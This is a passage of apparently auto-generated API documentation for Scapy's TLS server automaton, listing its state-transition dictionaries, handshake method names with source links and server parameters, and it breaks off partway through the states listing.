conditions: Dict[str, List[_StateWrapper]] = {'ADDED_CERTIFICATE': [<function TLSServerAutomaton.should_add_ServerKeyExchange>], 'ADDED_CERTIFICATEREQUEST': [<function TLSServerAutomaton.should_add_ServerHelloDone>], 'ADDED_CHANGECIPHERSPEC': [<function TLSServerAutomaton.should_add_ServerFinished>], 'ADDED_SERVERDATA': [<function TLSServerAutomaton.should_send_ServerData>], 'ADDED_SERVERFINISHED': [<function TLSServerAutomaton.should_send_ServerFlight2>], 'ADDED_SERVERHELLO': [<function TLSServerAutomaton.should_add_Certificate>], 'ADDED_SERVERHELLODONE': [<function TLSServerAutomaton.should_send_ServerFlight1>], 'ADDED_SERVERKEYEXCHANGE': [<function TLSServerAutomaton.should_add_CertificateRequest>], 'BIND': [], 'CLOSE_NOTIFY': [<function TLSServerAutomaton.close_session>], 'CLOSE_NOTIFY_FINAL': [<function TLSServerAutomaton.close_session_final>], 'FINAL': [], 'HANDLED_ALERT_FROM_CHANGECIPHERSPEC': [], 'HANDLED_ALERT_FROM_CLIENTCERTIFICATE': [], 'HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE': [], 'HANDLED_CERTIFICATEVERIFY': [<function TLSServerAutomaton.should_handle_ChangeCipherSpec>, <function TLSServerAutomaton.should_handle_Alert_from_ClientKeyExchange>, <function TLSServerAutomaton.missing_ChangeCipherSpec>], 'HANDLED_CHANGECIPHERSPEC': [<function TLSServerAutomaton.should_handle_ClientFinished>, <function TLSServerAutomaton.should_handle_Alert_from_ClientFinished>, <function TLSServerAutomaton.missing_ClientFinished>], 'HANDLED_CLIENTCERTIFICATE': [<function TLSServerAutomaton.should_handle_ClientKeyExchange>, <function TLSServerAutomaton.should_handle_Alert_from_ClientCertificate>, <function TLSServerAutomaton.missing_ClientKeyExchange>], 'HANDLED_CLIENTDATA': [], 'HANDLED_CLIENTFINISHED': [], 'HANDLED_CLIENTHELLO': [], 'HANDLED_CLIENTKEYEXCHANGE': [<function TLSServerAutomaton.should_handle_CertificateVerify>, <function TLSServerAutomaton.no_CertificateVerify>], 'INITIAL': [], 'INIT_TLS_SESSION': [], 'MISSING_CERTIFICATEVERIFY': [], 'MISSING_CHANGECIPHERSPEC': [], 'MISSING_CLIENTCERTIFICATE': [], 'MISSING_CLIENTFINISHED': [], 'MISSING_CLIENTHELLO': [], 'MISSING_CLIENTKEYEXCHANGE': [], 'NO_USABLE_CIPHERSUITE': [], 'PREPARE_SERVERFLIGHT1': [<function TLSServerAutomaton.should_add_ServerHello>], 'PREPARE_SERVERFLIGHT2': [<function TLSServerAutomaton.should_add_ChangeCipherSpec>], 'RECEIVED_CLIENTDATA': [<function TLSServerAutomaton.should_handle_ClientData>], 'RECEIVED_CLIENTFLIGHT1': [<function TLSServerAutomaton.tls13_should_handle_ClientHello>, <function TLSServerAutomaton.should_handle_ClientHello>, <function TLSServerAutomaton.sslv2_should_handle_ClientHello>, <function TLSServerAutomaton.missing_ClientHello>], 'RECEIVED_CLIENTFLIGHT2': [<function TLSServerAutomaton.should_handle_ClientCertificate>, <function TLSServerAutomaton.no_ClientCertificate>], 'SENT_SERVERDATA': [], 'SENT_SERVERFLIGHT2': [], 'SOCKET_CLOSED': [], 'SSLv2_ADDED_REQUESTCERTIFICATE': [<function TLSServerAutomaton.sslv2_should_send_RequestCertificate>], 'SSLv2_ADDED_SERVERDATA': [<function TLSServerAutomaton.sslv2_should_send_ServerData>], 'SSLv2_ADDED_SERVERFINISHED': [<function TLSServerAutomaton.sslv2_should_send_ServerFinished>], 'SSLv2_ADDED_SERVERHELLO': [<function TLSServerAutomaton.sslv2_should_send_ServerHello>], 'SSLv2_ADDED_SERVERVERIFY': [<function TLSServerAutomaton.sslv2_should_send_ServerVerify>], 'SSLv2_CLOSE_NOTIFY': [<function TLSServerAutomaton.sslv2_close_session>], 'SSLv2_CLOSE_NOTIFY_FINAL': [<function TLSServerAutomaton.sslv2_close_session_final>], 'SSLv2_HANDLED_CLIENTCERTIFICATE': [], 'SSLv2_HANDLED_CLIENTDATA': [], 'SSLv2_HANDLED_CLIENTFINISHED': [<function TLSServerAutomaton.sslv2_should_add_ServerVerify_from_ClientFinished>, <function TLSServerAutomaton.sslv2_should_add_RequestCertificate>, <function TLSServerAutomaton.sslv2_should_add_ServerFinished>], 'SSLv2_HANDLED_CLIENTHELLO': [<function TLSServerAutomaton.sslv2_should_add_ServerHello>], 'SSLv2_HANDLED_CLIENTMASTERKEY': [], 'SSLv2_MISSING_CLIENTCERTIFICATE': [], 'SSLv2_MISSING_CLIENTFINISHED': [], 'SSLv2_MISSING_CLIENTMASTERKEY': [], 'SSLv2_RECEIVED_CLIENTCERTIFICATE': [<function TLSServerAutomaton.sslv2_should_handle_ClientCertificate>, <function TLSServerAutomaton.sslv2_missing_ClientCertificate>], 'SSLv2_RECEIVED_CLIENTDATA': [<function TLSServerAutomaton.sslv2_should_handle_ClientData>], 'SSLv2_RECEIVED_CLIENTFINISHED': [<function TLSServerAutomaton.sslv2_should_handle_ClientFinished>, <function TLSServerAutomaton.sslv2_should_add_ServerVerify_from_NoClientFinished>, <function TLSServerAutomaton.sslv2_missing_ClientFinished>], 'SSLv2_RECEIVED_CLIENTMASTERKEY': [<function TLSServerAutomaton.sslv2_should_handle_ClientMasterKey>, <function TLSServerAutomaton.missing_ClientMasterKey>], 'SSLv2_SENT_REQUESTCERTIFICATE': [], 'SSLv2_SENT_SERVERDATA': [], 'SSLv2_SENT_SERVERFINISHED': [], 'SSLv2_SENT_SERVERHELLO': [], 'SSLv2_SENT_SERVERVERIFY': [], 'SSLv2_WAITING_CLIENTCERTIFICATE': [], 'SSLv2_WAITING_CLIENTDATA': [], 'SSLv2_WAITING_CLIENTMASTERKEY': [], 'TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE': [], 'TLS13_HANDLED_CLIENTCERTIFICATE': [<function TLSServerAutomaton.tls13_should_handle_ClientCertificateVerify>, <function TLSServerAutomaton.tls13_no_Client_CertificateVerify>], 'TLS13_HANDLED_CLIENTFINISHED': [], 'TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY': [<function TLSServerAutomaton.tls13_should_handle_ClientFinished>], 'TLS13_MISSING_CLIENTCERTIFICATE': [], 'WAITING_CLIENT': [], 'WAITING_CLIENTDATA': [], 'WAITING_CLIENTFLIGHT1': [], 'WAITING_CLIENTFLIGHT2': [], 'tls13_ADDED_CERTIFICATE': [<function TLSServerAutomaton.tls13_should_add_CertificateVerifiy>], 'tls13_ADDED_CERTIFICATEREQUEST': [<function TLSServerAutomaton.tls13_should_add_Certificate>], 'tls13_ADDED_CERTIFICATEVERIFY': [<function TLSServerAutomaton.tls13_should_add_Finished>], 'tls13_ADDED_ENCRYPTEDEXTENSIONS': [<function TLSServerAutomaton.tls13_should_add_CertificateRequest>], 'tls13_ADDED_SERVERFINISHED': [<function TLSServerAutomaton.tls13_should_send_ServerFlight1>], 'tls13_ADDED_SERVERHELLO': [<function TLSServerAutomaton.tls13_should_add_EncryptedExtensions>], 'tls13_HANDLED_CLIENTHELLO': [], 'tls13_HANDLED_HELLORETRYREQUEST': [<function TLSServerAutomaton.tls13_should_add_ServerHello_from_HRR>], 'tls13_PREPARE_HELLORETRYREQUEST': [<function TLSServerAutomaton.tls13_should_add_HelloRetryRequest>], 'tls13_PREPARE_SERVERFLIGHT1': [<function TLSServerAutomaton.tls13_should_add_ServerHello>], 'tls13_RECEIVED_CLIENTFLIGHT2': [<function TLSServerAutomaton.tls13_should_handle_ClientFlight2>, <function TLSServerAutomaton.tls13_should_handle_Alert_from_ClientCertificate>, <function TLSServerAutomaton.tls13_should_handle_ClientCCS>, <function TLSServerAutomaton.tls13_no_ClientCertificate>], 'tls13_WAITING_CLIENTFLIGHT2': []}

	




	
eofs: Dict[str, _StateWrapper] = {}

	




	
http_sessioninfo()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L162-L183]

	




	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'ADDED_CERTIFICATE': [], 'ADDED_CERTIFICATEREQUEST': [], 'ADDED_CHANGECIPHERSPEC': [], 'ADDED_SERVERDATA': [], 'ADDED_SERVERFINISHED': [], 'ADDED_SERVERHELLO': [], 'ADDED_SERVERHELLODONE': [], 'ADDED_SERVERKEYEXCHANGE': [], 'BIND': [], 'CLOSE_NOTIFY': [], 'CLOSE_NOTIFY_FINAL': [], 'FINAL': [], 'HANDLED_ALERT_FROM_CHANGECIPHERSPEC': [], 'HANDLED_ALERT_FROM_CLIENTCERTIFICATE': [], 'HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE': [], 'HANDLED_CERTIFICATEVERIFY': [], 'HANDLED_CHANGECIPHERSPEC': [], 'HANDLED_CLIENTCERTIFICATE': [], 'HANDLED_CLIENTDATA': [], 'HANDLED_CLIENTFINISHED': [], 'HANDLED_CLIENTHELLO': [], 'HANDLED_CLIENTKEYEXCHANGE': [], 'INITIAL': [], 'INIT_TLS_SESSION': [], 'MISSING_CERTIFICATEVERIFY': [], 'MISSING_CHANGECIPHERSPEC': [], 'MISSING_CLIENTCERTIFICATE': [], 'MISSING_CLIENTFINISHED': [], 'MISSING_CLIENTHELLO': [], 'MISSING_CLIENTKEYEXCHANGE': [], 'NO_USABLE_CIPHERSUITE': [], 'PREPARE_SERVERFLIGHT1': [], 'PREPARE_SERVERFLIGHT2': [], 'RECEIVED_CLIENTDATA': [], 'RECEIVED_CLIENTFLIGHT1': [], 'RECEIVED_CLIENTFLIGHT2': [], 'SENT_SERVERDATA': [], 'SENT_SERVERFLIGHT2': [], 'SOCKET_CLOSED': [], 'SSLv2_ADDED_REQUESTCERTIFICATE': [], 'SSLv2_ADDED_SERVERDATA': [], 'SSLv2_ADDED_SERVERFINISHED': [], 'SSLv2_ADDED_SERVERHELLO': [], 'SSLv2_ADDED_SERVERVERIFY': [], 'SSLv2_CLOSE_NOTIFY': [], 'SSLv2_CLOSE_NOTIFY_FINAL': [], 'SSLv2_HANDLED_CLIENTCERTIFICATE': [], 'SSLv2_HANDLED_CLIENTDATA': [], 'SSLv2_HANDLED_CLIENTFINISHED': [], 'SSLv2_HANDLED_CLIENTHELLO': [], 'SSLv2_HANDLED_CLIENTMASTERKEY': [], 'SSLv2_MISSING_CLIENTCERTIFICATE': [], 'SSLv2_MISSING_CLIENTFINISHED': [], 'SSLv2_MISSING_CLIENTMASTERKEY': [], 'SSLv2_RECEIVED_CLIENTCERTIFICATE': [], 'SSLv2_RECEIVED_CLIENTDATA': [], 'SSLv2_RECEIVED_CLIENTFINISHED': [], 'SSLv2_RECEIVED_CLIENTMASTERKEY': [], 'SSLv2_SENT_REQUESTCERTIFICATE': [], 'SSLv2_SENT_SERVERDATA': [], 'SSLv2_SENT_SERVERFINISHED': [], 'SSLv2_SENT_SERVERHELLO': [], 'SSLv2_SENT_SERVERVERIFY': [], 'SSLv2_WAITING_CLIENTCERTIFICATE': [], 'SSLv2_WAITING_CLIENTDATA': [], 'SSLv2_WAITING_CLIENTMASTERKEY': [], 'TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE': [], 'TLS13_HANDLED_CLIENTCERTIFICATE': [], 'TLS13_HANDLED_CLIENTFINISHED': [], 'TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY': [], 'TLS13_MISSING_CLIENTCERTIFICATE': [], 'WAITING_CLIENT': [], 'WAITING_CLIENTDATA': [], 'WAITING_CLIENTFLIGHT1': [], 'WAITING_CLIENTFLIGHT2': [], 'tls13_ADDED_CERTIFICATE': [], 'tls13_ADDED_CERTIFICATEREQUEST': [], 'tls13_ADDED_CERTIFICATEVERIFY': [], 'tls13_ADDED_ENCRYPTEDEXTENSIONS': [], 'tls13_ADDED_SERVERFINISHED': [], 'tls13_ADDED_SERVERHELLO': [], 'tls13_HANDLED_CLIENTHELLO': [], 'tls13_HANDLED_HELLORETRYREQUEST': [], 'tls13_PREPARE_HELLORETRYREQUEST': [], 'tls13_PREPARE_SERVERFLIGHT1': [], 'tls13_RECEIVED_CLIENTFLIGHT2': [], 'tls13_WAITING_CLIENTFLIGHT2': []}

	




	
ionames: List[str] = []

	




	
iosupersockets: List[SuperSocket] = []

	




	
listen_sock: SuperSocket | None

	




	
missing_ChangeCipherSpec()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L475-L477]

	




	
missing_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L503-L505]

	




	
missing_ClientHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L294-L296]

	




	
missing_ClientKeyExchange()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L426-L428]

	




	
missing_ClientMasterKey()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1149-L1151]

	




	
no_CertificateVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L440-L444]

	




	
no_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L390-L394]

	




	
packets: PacketList

	




	
parse_args(server='127.0.0.1', sport=4433, mycert=None, mykey=None, preferred_ciphersuite=None, client_auth=False, is_echo_server=True, max_client_idle_time=60, handle_session_ticket=None, session_ticket_file=None, curve=None, cookie=False, psk=None, psk_mode=None, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L90-L139]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'ADDED_CERTIFICATE': [], 'ADDED_CERTIFICATEREQUEST': [], 'ADDED_CHANGECIPHERSPEC': [], 'ADDED_SERVERDATA': [], 'ADDED_SERVERFINISHED': [], 'ADDED_SERVERHELLO': [], 'ADDED_SERVERHELLODONE': [], 'ADDED_SERVERKEYEXCHANGE': [], 'BIND': [], 'CLOSE_NOTIFY': [], 'CLOSE_NOTIFY_FINAL': [], 'FINAL': [], 'HANDLED_ALERT_FROM_CHANGECIPHERSPEC': [], 'HANDLED_ALERT_FROM_CLIENTCERTIFICATE': [], 'HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE': [], 'HANDLED_CERTIFICATEVERIFY': [], 'HANDLED_CHANGECIPHERSPEC': [], 'HANDLED_CLIENTCERTIFICATE': [], 'HANDLED_CLIENTDATA': [], 'HANDLED_CLIENTFINISHED': [], 'HANDLED_CLIENTHELLO': [], 'HANDLED_CLIENTKEYEXCHANGE': [], 'INITIAL': [], 'INIT_TLS_SESSION': [], 'MISSING_CERTIFICATEVERIFY': [], 'MISSING_CHANGECIPHERSPEC': [], 'MISSING_CLIENTCERTIFICATE': [], 'MISSING_CLIENTFINISHED': [], 'MISSING_CLIENTHELLO': [], 'MISSING_CLIENTKEYEXCHANGE': [], 'NO_USABLE_CIPHERSUITE': [], 'PREPARE_SERVERFLIGHT1': [], 'PREPARE_SERVERFLIGHT2': [], 'RECEIVED_CLIENTDATA': [], 'RECEIVED_CLIENTFLIGHT1': [], 'RECEIVED_CLIENTFLIGHT2': [], 'SENT_SERVERDATA': [], 'SENT_SERVERFLIGHT2': [], 'SOCKET_CLOSED': [], 'SSLv2_ADDED_REQUESTCERTIFICATE': [], 'SSLv2_ADDED_SERVERDATA': [], 'SSLv2_ADDED_SERVERFINISHED': [], 'SSLv2_ADDED_SERVERHELLO': [], 'SSLv2_ADDED_SERVERVERIFY': [], 'SSLv2_CLOSE_NOTIFY': [], 'SSLv2_CLOSE_NOTIFY_FINAL': [], 'SSLv2_HANDLED_CLIENTCERTIFICATE': [], 'SSLv2_HANDLED_CLIENTDATA': [], 'SSLv2_HANDLED_CLIENTFINISHED': [], 'SSLv2_HANDLED_CLIENTHELLO': [], 'SSLv2_HANDLED_CLIENTMASTERKEY': [], 'SSLv2_MISSING_CLIENTCERTIFICATE': [], 'SSLv2_MISSING_CLIENTFINISHED': [], 'SSLv2_MISSING_CLIENTMASTERKEY': [], 'SSLv2_RECEIVED_CLIENTCERTIFICATE': [], 'SSLv2_RECEIVED_CLIENTDATA': [], 'SSLv2_RECEIVED_CLIENTFINISHED': [], 'SSLv2_RECEIVED_CLIENTMASTERKEY': [], 'SSLv2_SENT_REQUESTCERTIFICATE': [], 'SSLv2_SENT_SERVERDATA': [], 'SSLv2_SENT_SERVERFINISHED': [], 'SSLv2_SENT_SERVERHELLO': [], 'SSLv2_SENT_SERVERVERIFY': [], 'SSLv2_WAITING_CLIENTCERTIFICATE': [], 'SSLv2_WAITING_CLIENTDATA': [], 'SSLv2_WAITING_CLIENTMASTERKEY': [], 'TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE': [], 'TLS13_HANDLED_CLIENTCERTIFICATE': [], 'TLS13_HANDLED_CLIENTFINISHED': [], 'TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY': [], 'TLS13_MISSING_CLIENTCERTIFICATE': [], 'WAITING_CLIENT': [], 'WAITING_CLIENTDATA': [], 'WAITING_CLIENTFLIGHT1': [], 'WAITING_CLIENTFLIGHT2': [], 'tls13_ADDED_CERTIFICATE': [], 'tls13_ADDED_CERTIFICATEREQUEST': [], 'tls13_ADDED_CERTIFICATEVERIFY': [], 'tls13_ADDED_ENCRYPTEDEXTENSIONS': [], 'tls13_ADDED_SERVERFINISHED': [], 'tls13_ADDED_SERVERHELLO': [], 'tls13_HANDLED_CLIENTHELLO': [], 'tls13_HANDLED_HELLORETRYREQUEST': [], 'tls13_PREPARE_HELLORETRYREQUEST': [], 'tls13_PREPARE_SERVERFLIGHT1': [], 'tls13_RECEIVED_CLIENTFLIGHT2': [], 'tls13_WAITING_CLIENTFLIGHT2': []}

	




	
save_ticket(ticket)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L948-L985]

	This function save a ticket and others parameters in the
file given as argument to the automaton
Warning : The file is not protected and contains sensitive
information. It should be used only for testing purpose.






	
send_sock: SuperSocket | None

	




	
should_add_Certificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L330-L335]

	




	
should_add_CertificateRequest()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L352-L356]

	




	
should_add_ChangeCipherSpec()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L516-L519]

	




	
should_add_ServerFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L525-L529]

	




	
should_add_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L307-L324]

	Selecting a cipher suite should be no trouble as we already caught
the None case previously.

Also, we do not manage extensions at all.






	
should_add_ServerHelloDone()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L362-L365]

	




	
should_add_ServerKeyExchange()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L341-L346]

	




	
should_handle_Alert_from_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L415-L418]

	




	
should_handle_Alert_from_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L493-L496]

	




	
should_handle_Alert_from_ClientKeyExchange()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L464-L467]

	




	
should_handle_CertificateVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L435-L438]

	




	
should_handle_ChangeCipherSpec()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L455-L458]

	




	
should_handle_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L385-L388]

	




	
should_handle_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L987-L1027]

	




	
should_handle_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L484-L487]

	




	
should_handle_ClientHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L271-L274]

	




	
should_handle_ClientKeyExchange()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L406-L409]

	




	
should_send_ServerData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1037-L1057]

	




	
should_send_ServerFlight1()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L371-L374]

	




	
should_send_ServerFlight2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L535-L538]

	




	
sslv2_close_session()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1365-L1375]

	




	
sslv2_close_session_final()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1386-L1395]

	




	
sslv2_missing_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1255-L1257]

	




	
sslv2_missing_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1193-L1195]

	




	
sslv2_should_add_RequestCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1220-L1226]

	




	
sslv2_should_add_ServerFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1272-L1276]

	




	
sslv2_should_add_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1109-L1120]

	




	
sslv2_should_add_ServerVerify_from_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1175-L1182]

	




	
sslv2_should_add_ServerVerify_from_NoClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1184-L1191]

	




	
sslv2_should_handle_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1250-L1253]

	




	
sslv2_should_handle_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1306-L1337]

	




	
sslv2_should_handle_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1166-L1169]

	




	
sslv2_should_handle_ClientHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1100-L1103]

	




	
sslv2_should_handle_ClientMasterKey()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1144-L1147]

	




	
sslv2_should_send_RequestCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1232-L1235]

	




	
sslv2_should_send_ServerData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1347-L1350]

	




	
sslv2_should_send_ServerFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1282-L1285]

	




	
sslv2_should_send_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1126-L1129]

	




	
sslv2_should_send_ServerVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_srv.py#L1206-L1209]

	




	
states: Dict[str, _StateWrapper] = {'ADDED_CERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_CERTIFICATEREQUEST': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_CHANGECIPHERSPEC': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_SERVERFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_SERVERHELLODONE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_SERVERKEYEXCHANGE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'BIND': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'CLOSE_NOTIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'CLOSE_NOTIFY_FINAL': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'FINAL': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_ALERT_FROM_CHANGECIPHERSPEC': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_ALERT_FROM_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_CERTIFICATEVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_CHANGECIPHERSPEC': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_CLIENTHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_CLIENTKEYEXCHANGE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'INITIAL': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'INIT_TLS_SESSION': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'MISSING_CERTIFICATEVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'MISSING_CHANGECIPHERSPEC': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'MISSING_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'MISSING_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'MISSING_CLIENTHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'MISSING_CLIENTKEYEXCHANGE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'NO_USABLE_CIPHERSUITE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'PREPARE_SERVERFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'PREPARE_SERVERFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVED_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVED_CLIENTFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVED_CLIENTFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SENT_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SENT_SERVERFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SOCKET_CLOSED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_REQUESTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_SERVERFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_SERVERVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_CLOSE_NOTIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_CLOSE_NOTIFY_FINAL': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_CLIENTHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_CLIENTMASTERKEY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_MISSING_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_MISSING_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_MISSING_CLIENTMASTERKEY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_RECEIVED_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_RECEIVED_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_RECEIVED_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_RECEIVED_CLIENTMASTERKEY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_REQUESTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_SERVERFINISHED': <function 